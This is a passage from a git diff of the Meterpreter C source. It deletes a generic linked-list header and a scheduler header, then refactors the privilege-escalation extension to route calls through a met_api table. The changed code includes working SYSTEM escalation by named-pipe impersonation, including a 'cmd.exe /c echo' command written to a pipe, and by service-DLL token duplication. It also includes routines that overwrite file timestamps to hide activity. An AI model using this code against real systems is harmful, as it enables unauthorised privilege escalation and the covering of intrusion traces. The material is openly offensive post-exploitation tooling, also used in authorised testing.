-} while (0) - -#define QMD_TRACE_ELEM(elem) do { \ - (elem)->trace.prevline = (elem)->trace.lastline; \ - (elem)->trace.prevfile = (elem)->trace.lastfile; \ - (elem)->trace.lastline = __LINE__; \ - (elem)->trace.lastfile = __FILE__; \ -} while (0) - -#else -#define QMD_TRACE_ELEM(elem) -#define QMD_TRACE_HEAD(head) -#define TRACEBUF -#define TRASHIT(x) -#endif /* QUEUE_MACRO_DEBUG */ - -/* - * Singly-linked List declarations. - */ -#define SLIST_HEAD(name, type) \ -struct name { \ - struct type *slh_first; /* first element */ \ -} - -#define SLIST_HEAD_INITIALIZER(head) \ - { NULL } - -#define SLIST_ENTRY(type) \ -struct { \ - struct type *sle_next; /* next element */ \ -} - -/* - * Singly-linked List functions. - */ -#define SLIST_EMPTY(head) ((head)->slh_first == NULL) - -#define SLIST_FIRST(head) ((head)->slh_first) - -#define SLIST_FOREACH(var, head, field) \ - for ((var) = SLIST_FIRST((head)); \ - (var); \ - (var) = SLIST_NEXT((var), field)) - -#define SLIST_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = SLIST_FIRST((head)); \ - (var) && ((tvar) = SLIST_NEXT((var), field), 1); \ - (var) = (tvar)) - -#define SLIST_FOREACH_PREVPTR(var, varp, head, field) \ - for ((varp) = &SLIST_FIRST((head)); \ - ((var) = *(varp)) != NULL; \ - (varp) = &SLIST_NEXT((var), field)) - -#define SLIST_INIT(head) do { \ - SLIST_FIRST((head)) = NULL; \ -} while (0) - -#define SLIST_INSERT_AFTER(slistelm, elm, field) do { \ - SLIST_NEXT((elm), field) = SLIST_NEXT((slistelm), field); \ - SLIST_NEXT((slistelm), field) = (elm); \ -} while (0) - -#define SLIST_INSERT_HEAD(head, elm, field) do { \ - SLIST_NEXT((elm), field) = SLIST_FIRST((head)); \ - SLIST_FIRST((head)) = (elm); \ -} while (0) - -#define SLIST_NEXT(elm, field) ((elm)->field.sle_next) - -#define SLIST_REMOVE(head, elm, type, field) do { \ - if (SLIST_FIRST((head)) == (elm)) { \ - SLIST_REMOVE_HEAD((head), field); \ - } \ - else { \ - struct type *curelm = SLIST_FIRST((head)); \ - while (SLIST_NEXT(curelm, field) != (elm)) \ - curelm = SLIST_NEXT(curelm, field); \ - SLIST_REMOVE_NEXT(head, curelm, field); \ - } \ - TRASHIT((elm)->field.sle_next); \ -} while (0) - -#define SLIST_REMOVE_NEXT(head, elm, field) do { \ - SLIST_NEXT(elm, field) = \ - SLIST_NEXT(SLIST_NEXT(elm, field), field); \ -} while (0) - -#define SLIST_REMOVE_HEAD(head, field) do { \ - SLIST_FIRST((head)) = SLIST_NEXT(SLIST_FIRST((head)), field); \ -} while (0) - -/* - * Singly-linked Tail queue declarations. - */ -#define STAILQ_HEAD(name, type) \ -struct name { \ - struct type *stqh_first;/* first element */ \ - struct type **stqh_last;/* addr of last next element */ \ -} - -#define STAILQ_HEAD_INITIALIZER(head) \ - { NULL, &(head).stqh_first } - -#define STAILQ_ENTRY(type) \ -struct { \ - struct type *stqe_next; /* next element */ \ -} - -/* - * Singly-linked Tail queue functions. - */ -#define STAILQ_CONCAT(head1, head2) do { \ - if (!STAILQ_EMPTY((head2))) { \ - *(head1)->stqh_last = (head2)->stqh_first; \ - (head1)->stqh_last = (head2)->stqh_last; \ - STAILQ_INIT((head2)); \ - } \ -} while (0) - -#define STAILQ_EMPTY(head) ((head)->stqh_first == NULL) - -#define STAILQ_FIRST(head) ((head)->stqh_first) - -#define STAILQ_FOREACH(var, head, field) \ - for((var) = STAILQ_FIRST((head)); \ - (var); \ - (var) = STAILQ_NEXT((var), field)) - - -#define STAILQ_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = STAILQ_FIRST((head)); \ - (var) && ((tvar) = STAILQ_NEXT((var), field), 1); \ - (var) = (tvar)) - -#define STAILQ_INIT(head) do { \ - STAILQ_FIRST((head)) = NULL; \ - (head)->stqh_last = &STAILQ_FIRST((head)); \ -} while (0) - -#define STAILQ_INSERT_AFTER(head, tqelm, elm, field) do { \ - if ((STAILQ_NEXT((elm), field) = STAILQ_NEXT((tqelm), field)) == NULL)\ - (head)->stqh_last = &STAILQ_NEXT((elm), field); \ - STAILQ_NEXT((tqelm), field) = (elm); \ -} while (0) - -#define STAILQ_INSERT_HEAD(head, elm, field) do { \ - if ((STAILQ_NEXT((elm), field) = STAILQ_FIRST((head))) == NULL) \ - (head)->stqh_last = &STAILQ_NEXT((elm), field); \ - STAILQ_FIRST((head)) = (elm); \ -} while (0) - -#define STAILQ_INSERT_TAIL(head, elm, field) do { \ - STAILQ_NEXT((elm), field) = NULL; \ - *(head)->stqh_last = (elm); \ - (head)->stqh_last = &STAILQ_NEXT((elm), field); \ -} while (0) - -#define STAILQ_LAST(head, type, field) \ - (STAILQ_EMPTY((head)) ? \ - NULL : \ - ((struct type *)(void *) \ - ((char *)((head)->stqh_last) - __offsetof(struct type, field)))) - -#define STAILQ_NEXT(elm, field) ((elm)->field.stqe_next) - -#define STAILQ_REMOVE(head, elm, type, field) do { \ - if (STAILQ_FIRST((head)) == (elm)) { \ - STAILQ_REMOVE_HEAD((head), field); \ - } \ - else { \ - struct type *curelm = STAILQ_FIRST((head)); \ - while (STAILQ_NEXT(curelm, field) != (elm)) \ - curelm = STAILQ_NEXT(curelm, field); \ - STAILQ_REMOVE_NEXT(head, curelm, field); \ - } \ - TRASHIT((elm)->field.stqe_next); \ -} while (0) - -#define STAILQ_REMOVE_HEAD(head, field) do { \ - if ((STAILQ_FIRST((head)) = \ - STAILQ_NEXT(STAILQ_FIRST((head)), field)) == NULL) \ - (head)->stqh_last = &STAILQ_FIRST((head)); \ -} while (0) - -#define STAILQ_REMOVE_NEXT(head, elm, field) do { \ - if ((STAILQ_NEXT(elm, field) = \ - STAILQ_NEXT(STAILQ_NEXT(elm, field), field)) == NULL) \ - (head)->stqh_last = &STAILQ_NEXT((elm), field); \ -} while (0) - -/* - * List declarations. - */ -#define LIST_HEAD(name, type) \ -struct name { \ - struct type *lh_first; /* first element */ \ -} - -#define LIST_HEAD_INITIALIZER(head) \ - { NULL } - -#define LIST_ENTRY(type) \ -struct { \ - struct type *le_next; /* next element */ \ - struct type **le_prev; /* address of previous next element */ \ -} - -/* - * List functions. - */ - -#if (defined(_KERNEL) && defined(INVARIANTS)) -#define QMD_LIST_CHECK_HEAD(head, field) do { \ - if (LIST_FIRST((head)) != NULL && \ - LIST_FIRST((head))->field.le_prev != \ - &LIST_FIRST((head))) \ - panic("Bad list head %p first->prev != head", (head)); \ -} while (0) - -#define QMD_LIST_CHECK_NEXT(elm, field) do { \ - if (LIST_NEXT((elm), field) != NULL && \ - LIST_NEXT((elm), field)->field.le_prev != \ - &((elm)->field.le_next)) \ - panic("Bad link elm %p next->prev != elm", (elm)); \ -} while (0) - -#define QMD_LIST_CHECK_PREV(elm, field) do { \ - if (*(elm)->field.le_prev != (elm)) \ - panic("Bad link elm %p prev->next != elm", (elm)); \ -} while (0) -#else -#define QMD_LIST_CHECK_HEAD(head, field) -#define QMD_LIST_CHECK_NEXT(elm, field) -#define QMD_LIST_CHECK_PREV(elm, field) -#endif /* (_KERNEL && INVARIANTS) */ - -#define LIST_EMPTY(head) ((head)->lh_first == NULL) - -#define LIST_FIRST(head) ((head)->lh_first) - -#define LIST_FOREACH(var, head, field) \ - for ((var) = LIST_FIRST((head)); \ - (var); \ - (var) = LIST_NEXT((var), field)) - -#define LIST_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = LIST_FIRST((head)); \ - (var) && ((tvar) = LIST_NEXT((var), field), 1); \ - (var) = (tvar)) - -#define LIST_INIT(head) do { \ - LIST_FIRST((head)) = NULL; \ -} while (0) - -#define LIST_INSERT_AFTER(listelm, elm, field) do { \ - QMD_LIST_CHECK_NEXT(listelm, field); \ - if ((LIST_NEXT((elm), field) = LIST_NEXT((listelm), field)) != NULL)\ - LIST_NEXT((listelm), field)->field.le_prev = \ - &LIST_NEXT((elm), field); \ - LIST_NEXT((listelm), field) = (elm); \ - (elm)->field.le_prev = &LIST_NEXT((listelm), field); \ -} while (0) - -#define LIST_INSERT_BEFORE(listelm, elm, field) do { \ - QMD_LIST_CHECK_PREV(listelm, field); \ - (elm)->field.le_prev = (listelm)->field.le_prev; \ - LIST_NEXT((elm), field) = (listelm); \ - *(listelm)->field.le_prev = (elm); \ - (listelm)->field.le_prev = &LIST_NEXT((elm), field); \ -} while (0) - -#define LIST_INSERT_HEAD(head, elm, field) do { \ - QMD_LIST_CHECK_HEAD((head), field); \ - if ((LIST_NEXT((elm), field) = LIST_FIRST((head))) != NULL) \ - LIST_FIRST((head))->field.le_prev = &LIST_NEXT((elm), field);\ - LIST_FIRST((head)) = (elm); \ - (elm)->field.le_prev = &LIST_FIRST((head)); \ -} while (0) - -#define LIST_NEXT(elm, field) ((elm)->field.le_next) - -#define LIST_REMOVE(elm, field) do { \ - QMD_LIST_CHECK_NEXT(elm, field); \ - QMD_LIST_CHECK_PREV(elm, field); \ - if (LIST_NEXT((elm), field) != NULL) \ - LIST_NEXT((elm), field)->field.le_prev = \ - (elm)->field.le_prev; \ - *(elm)->field.le_prev = LIST_NEXT((elm), field); \ - TRASHIT((elm)->field.le_next); \ - TRASHIT((elm)->field.le_prev); \ -} while (0) - -/* - * Tail queue declarations. - */ -#define TAILQ_HEAD(name, type) \ -struct name { \ - struct type *tqh_first; /* first element */ \ - struct type **tqh_last; /* addr of last next element */ \ - TRACEBUF \ -} - -#define TAILQ_HEAD_INITIALIZER(head) \ - { NULL, &(head).tqh_first } - -#define TAILQ_ENTRY(type) \ -struct { \ - struct type *tqe_next; /* next element */ \ - struct type **tqe_prev; /* address of previous next element */ \ - TRACEBUF \ -} - -/* - * Tail queue functions. - */ -#if (defined(_KERNEL) && defined(INVARIANTS)) -#define QMD_TAILQ_CHECK_HEAD(head, field) do { \ - if (!TAILQ_EMPTY(head) && \ - TAILQ_FIRST((head))->field.tqe_prev != \ - &TAILQ_FIRST((head))) \ - panic("Bad tailq head %p first->prev != head", (head)); \ -} while (0) - -#define QMD_TAILQ_CHECK_TAIL(head, field) do { \ - if (*(head)->tqh_last != NULL) \ - panic("Bad tailq NEXT(%p->tqh_last) != NULL", (head)); \ -} while (0) - -#define QMD_TAILQ_CHECK_NEXT(elm, field) do { \ - if (TAILQ_NEXT((elm), field) != NULL && \ - TAILQ_NEXT((elm), field)->field.tqe_prev != \ - &((elm)->field.tqe_next)) \ - panic("Bad link elm %p next->prev != elm", (elm)); \ -} while (0) - -#define QMD_TAILQ_CHECK_PREV(elm, field) do { \ - if (*(elm)->field.tqe_prev != (elm)) \ - panic("Bad link elm %p prev->next != elm", (elm)); \ -} while (0) -#else -#define QMD_TAILQ_CHECK_HEAD(head, field) -#define QMD_TAILQ_CHECK_TAIL(head, headname) -#define QMD_TAILQ_CHECK_NEXT(elm, field) -#define QMD_TAILQ_CHECK_PREV(elm, field) -#endif /* (_KERNEL && INVARIANTS) */ - -#define TAILQ_CONCAT(head1, head2, field) do { \ - if (!TAILQ_EMPTY(head2)) { \ - *(head1)->tqh_last = (head2)->tqh_first; \ - (head2)->tqh_first->field.tqe_prev = (head1)->tqh_last; \ - (head1)->tqh_last = (head2)->tqh_last; \ - TAILQ_INIT((head2)); \ - QMD_TRACE_HEAD(head1); \ - QMD_TRACE_HEAD(head2); \ - } \ -} while (0) - -#define TAILQ_EMPTY(head) ((head)->tqh_first == NULL) - -#define TAILQ_FIRST(head) ((head)->tqh_first) - -#define TAILQ_FOREACH(var, head, field) \ - for ((var) = TAILQ_FIRST((head)); \ - (var); \ - (var) = TAILQ_NEXT((var), field)) - -#define TAILQ_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = TAILQ_FIRST((head)); \ - (var) && ((tvar) = TAILQ_NEXT((var), field), 1); \ - (var) = (tvar)) - -#define TAILQ_FOREACH_REVERSE(var, head, headname, field) \ - for ((var) = TAILQ_LAST((head), headname); \ - (var); \ - (var) = TAILQ_PREV((var), headname, field)) - -#define TAILQ_FOREACH_REVERSE_SAFE(var, head, headname, field, tvar) \ - for ((var) = TAILQ_LAST((head), headname); \ - (var) && ((tvar) = TAILQ_PREV((var), headname, field), 1); \ - (var) = (tvar)) - -#define TAILQ_INIT(head) do { \ - TAILQ_FIRST((head)) = NULL; \ - (head)->tqh_last = &TAILQ_FIRST((head)); \ - QMD_TRACE_HEAD(head); \ -} while (0) - -#define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ - QMD_TAILQ_CHECK_NEXT(listelm, field); \ - if ((TAILQ_NEXT((elm), field) = TAILQ_NEXT((listelm), field)) != NULL)\ - TAILQ_NEXT((elm), field)->field.tqe_prev = \ - &TAILQ_NEXT((elm), field); \ - else { \ - (head)->tqh_last = &TAILQ_NEXT((elm), field); \ - QMD_TRACE_HEAD(head); \ - } \ - TAILQ_NEXT((listelm), field) = (elm); \ - (elm)->field.tqe_prev = &TAILQ_NEXT((listelm), field); \ - QMD_TRACE_ELEM(&(elm)->field); \ - QMD_TRACE_ELEM(&listelm->field); \ -} while (0) - -#define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \ - QMD_TAILQ_CHECK_PREV(listelm, field); \ - (elm)->field.tqe_prev = (listelm)->field.tqe_prev; \ - TAILQ_NEXT((elm), field) = (listelm); \ - *(listelm)->field.tqe_prev = (elm); \ - (listelm)->field.tqe_prev = &TAILQ_NEXT((elm), field); \ - QMD_TRACE_ELEM(&(elm)->field); \ - QMD_TRACE_ELEM(&listelm->field); \ -} while (0) - -#define TAILQ_INSERT_HEAD(head, elm, field) do { \ - QMD_TAILQ_CHECK_HEAD(head, field); \ - if ((TAILQ_NEXT((elm), field) = TAILQ_FIRST((head))) != NULL) \ - TAILQ_FIRST((head))->field.tqe_prev = \ - &TAILQ_NEXT((elm), field); \ - else \ - (head)->tqh_last = &TAILQ_NEXT((elm), field); \ - TAILQ_FIRST((head)) = (elm); \ - (elm)->field.tqe_prev = &TAILQ_FIRST((head)); \ - QMD_TRACE_HEAD(head); \ - QMD_TRACE_ELEM(&(elm)->field); \ -} while (0) - -#define TAILQ_INSERT_TAIL(head, elm, field) do { \ - QMD_TAILQ_CHECK_TAIL(head, field); \ - TAILQ_NEXT((elm), field) = NULL; \ - (elm)->field.tqe_prev = (head)->tqh_last; \ - *(head)->tqh_last = (elm); \ - (head)->tqh_last = &TAILQ_NEXT((elm), field); \ - QMD_TRACE_HEAD(head); \ - QMD_TRACE_ELEM(&(elm)->field); \ -} while (0) - -#define TAILQ_LAST(head, headname) \ - (*(((struct headname *)((head)->tqh_last))->tqh_last)) - -#define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next) - -#define TAILQ_PREV(elm, headname, field) \ - (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last)) - -#define TAILQ_REMOVE(head, elm, field) do { \ - QMD_TAILQ_CHECK_NEXT(elm, field); \ - QMD_TAILQ_CHECK_PREV(elm, field); \ - if ((TAILQ_NEXT((elm), field)) != NULL) \ - TAILQ_NEXT((elm), field)->field.tqe_prev = \ - (elm)->field.tqe_prev; \ - else { \ - (head)->tqh_last = (elm)->field.tqe_prev; \ - QMD_TRACE_HEAD(head); \ - } \ - *(elm)->field.tqe_prev = TAILQ_NEXT((elm), field); \ - TRASHIT((elm)->field.tqe_next); \ - TRASHIT((elm)->field.tqe_prev); \ - QMD_TRACE_ELEM(&(elm)->field); \ -} while (0) - - -#ifdef _KERNEL - -/* - * XXX insque() and remque() are an old way of handling certain queues. - * They bogusly assumes that all queue heads look alike. - */ - -struct quehead { - struct quehead *qh_link; - struct quehead *qh_rlink; -}; - -#ifdef __CC_SUPPORTS___INLINE - -static __inline void -insque(void *a, void *b) -{ - struct quehead *element = (struct quehead *)a, - *head = (struct quehead *)b; - - element->qh_link = head->qh_link; - element->qh_rlink = head; - head->qh_link = element; - element->qh_link->qh_rlink = element; -} - -static __inline void -remque(void *a) -{ - struct quehead *element = (struct quehead *)a; - - element->qh_link->qh_rlink = element->qh_rlink; - element->qh_rlink->qh_link = element->qh_link; - element->qh_rlink = 0; -} - -#else /* !__CC_SUPPORTS___INLINE */ - -void insque(void *a, void *b); -void remque(void *a); - -#endif /* __CC_SUPPORTS___INLINE */ - -#endif /* _KERNEL */ - -#endif /* !_SYS_QUEUE_H_ */ diff --git a/c/meterpreter/source/common/scheduler.h b/c/meterpreter/source/common/scheduler.h deleted file mode 100644 index 3e600de7..00000000 --- a/c/meterpreter/source/common/scheduler.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef _METERPRETER_LIB_SCHEDULER_H -#define _METERPRETER_LIB_SCHEDULER_H - -#include "linkage.h" -#include "remote.h" - -typedef enum -{ - Pause = 1, - Resume = 2, - Stop = 3 -} SchedularSignal; - -typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext); -typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext); - -LINKAGE DWORD scheduler_initialize( Remote * remote ); -LINKAGE DWORD scheduler_destroy( VOID ); -LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy ); -LINKAGE DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal ); -LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ); - -#endif diff --git a/c/meterpreter/source/extensions/priv/server/elevate/elevate.c b/c/meterpreter/source/extensions/priv/server/elevate/elevate.c index 195b4001..acf131d2 100644 --- a/c/meterpreter/source/extensions/priv/server/elevate/elevate.c +++ b/c/meterpreter/source/extensions/priv/server/elevate/elevate.c @@ -3,6 +3,7 @@ * @brief Definitions for SYSTEM privilege escalation. */ #include "precomp.h" +#include "common_metapi.h" #include "namedpipe.h" #include "tokendup.h" @@ -74,11 +75,11 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet ) do { - response = packet_create_response( packet ); + response = met_api->packet.create_response( packet ); if( !response ) - BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE ); + BREAK_WITH_ERROR( "[ELEVATE] get_system. met_api->packet.create_response failed", ERROR_INVALID_HANDLE ); - dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE ); + dwTechnique = met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE ); dprintf( "[ELEVATE] Technique requested (%u)", dwTechnique ); if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ) { @@ -108,8 +109,8 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet ) if( response ) { - packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE ); - packet_transmit_response( dwResult, remote, response ); + met_api->packet.add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE ); + met_api->packet.transmit_response( dwResult, remote, response ); } return dwResult; diff --git a/c/meterpreter/source/extensions/priv/server/elevate/namedpipe.c b/c/meterpreter/source/extensions/priv/server/elevate/namedpipe.c index 1fe634cd..5bc06c7f 100644 --- a/c/meterpreter/source/extensions/priv/server/elevate/namedpipe.c +++ b/c/meterpreter/source/extensions/priv/server/elevate/namedpipe.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "namedpipe.h" #include "service.h" @@ -42,7 +43,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread) } while (TRUE) { - if (event_poll(thread->sigterm, 0)) { + if (met_api->event.poll(thread->sigterm, 0)) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD); } @@ -80,7 +81,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread) // now we can set the meterpreters thread token to that of our system // token so all subsequent meterpreter threads will use this token. - core_update_thread_token(remote, hToken); + met_api->thread.update_token(remote, hToken); dwResult = ERROR_SUCCESS; @@ -129,7 +130,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.") } - cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); + cpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); if (!cpServiceName) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments", ERROR_BAD_ARGUMENTS); @@ -142,14 +143,14 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe); hSem = CreateSemaphore(NULL, 0, 1, NULL); - pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); + pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); if (!pThread) { - BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed", + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed", ERROR_INVALID_HANDLE); } - if (!thread_run(pThread)) { - BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed", + if (!met_api->thread.run(pThread)) { + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.run failed", ERROR_ACCESS_DENIED); } @@ -176,10 +177,10 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) } // signal our thread to terminate if it is still running - thread_sigterm(pThread); + met_api->thread.sigterm(pThread); // and wait for it to terminate... - thread_join(pThread); + met_api->thread.join(pThread); // get the exit code for our pthread dprintf("[ELEVATE] dwResult before exit code: %u", dwResult); @@ -197,7 +198,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) } if (pThread) { - thread_destroy(pThread); + met_api->thread.destroy(pThread); } if (hSem) { CloseHandle(hSem); @@ -232,9 +233,9 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) do { - cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); - dwServiceLength = packet_get_tlv_value_uint(packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH); - lpServiceBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_DLL); + cpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); + dwServiceLength = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH); + lpServiceBuffer = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_DLL); if (!cpServiceName || !dwServiceLength || !lpServiceBuffer) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. invalid arguments", @@ -278,14 +279,14 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) } hSem = CreateSemaphore(NULL, 0, 1, NULL); - pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); + pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); if (!pThread) { - BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed", ERROR_INVALID_HANDLE); } - if (!thread_run(pThread)) { - BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", + if (!met_api->thread.run(pThread)) { + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed", ERROR_ACCESS_DENIED); } @@ -311,9 +312,9 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) WaitForSingleObject(pThread->handle, 10000); - thread_sigterm(pThread); + met_api->thread.sigterm(pThread); - thread_join(pThread); + met_api->thread.join(pThread); // get the exit code for our pthread if (!GetExitCodeThread(pThread->handle, &dwResult)) { @@ -339,7 +340,7 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) } if (pThread) { - thread_destroy(pThread); + met_api->thread.destroy(pThread); } if (hSem) { diff --git a/c/meterpreter/source/extensions/priv/server/elevate/tokendup.c b/c/meterpreter/source/extensions/priv/server/elevate/tokendup.c index 72907b88..69888df4 100644 --- a/c/meterpreter/source/extensions/priv/server/elevate/tokendup.c +++ b/c/meterpreter/source/extensions/priv/server/elevate/tokendup.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "tokendup.h" #include "../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" @@ -89,9 +90,9 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT ) - cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME ); - dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); - lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); + cpServiceName = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME ); + dwServiceLength = met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); + lpServiceBuffer = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS ); @@ -173,7 +174,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) ) { - core_update_thread_token( remote, hTokenDup ); + met_api->thread.update_token( remote, hTokenDup ); dwResult = ERROR_SUCCESS; break; } diff --git a/c/meterpreter/source/extensions/priv/server/fs.c b/c/meterpreter/source/extensions/priv/server/fs.c index ae4a02cb..8c6c8a15 100644 --- a/c/meterpreter/source/extensions/priv/server/fs.c +++ b/c/meterpreter/source/extensions/priv/server/fs.c @@ -1,5 +1,5 @@ #include "precomp.h" - +#include "common_metapi.h" #include #include #include "defs.h" @@ -72,7 +72,7 @@ HANDLE FileOpen(char *filename) return NULL; } - wchar_t *name = utf8_to_wchar(filename); + wchar_t *name = met_api->string.utf8_to_wchar(filename); if (name == NULL) { return NULL; } @@ -235,8 +235,8 @@ int SetDirectoryTimesRecursive(wchar_t *directory, SYSTEMTIME time, int depth) DWORD request_fs_get_file_mace(Remote *remote, Packet *packet) { SYSTEMTIME lt; - Packet *response = packet_create_response(packet); - HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); + Packet *response = met_api->packet.create_response(packet); + HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); if (file == NULL) { SetLastError(ERROR_INVALID_PARAMETER); @@ -263,7 +263,7 @@ DWORD request_fs_get_file_mace(Remote *remote, Packet *packet) if (LargeIntegerToSystemTime(<, *fields[i].ft) == 0) { SystemTimeToEpochTime(<, &epoch); - packet_add_tlv_uint(response, fields[i].tlv, (UINT)epoch); + met_api->packet.add_tlv_uint(response, fields[i].tlv, (UINT)epoch); } } @@ -271,15 +271,15 @@ DWORD request_fs_get_file_mace(Remote *remote, Packet *packet) err: FileClose(file); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); return ERROR_SUCCESS; } DWORD request_fs_set_file_mace(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); - HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); + HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); if (!file) { SetLastError(ERROR_INVALID_PARAMETER); goto out; @@ -300,7 +300,7 @@ DWORD request_fs_set_file_mace(Remote *remote, Packet *packet) { &fbi.ChangeTime, TLV_TYPE_FS_FILE_EMODIFIED }, }; for (int i = 0; i < 4; i++) { - time_t epoch = packet_get_tlv_value_uint(packet, (TlvType)fields[i].tlv); + time_t epoch = met_api->packet.get_tlv_value_uint(packet, (TlvType)fields[i].tlv); if (epoch) { SYSTEMTIME st; EpochTimeToSystemTime(epoch, &st); @@ -316,16 +316,16 @@ DWORD request_fs_set_file_mace(Remote *remote, Packet *packet) out: FileClose(file); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); return ERROR_SUCCESS; } DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); - HANDLE tgtFile = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); - HANDLE srcFile = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH)); + HANDLE tgtFile = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); + HANDLE srcFile = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH)); if (tgtFile == NULL || srcFile == NULL) { goto 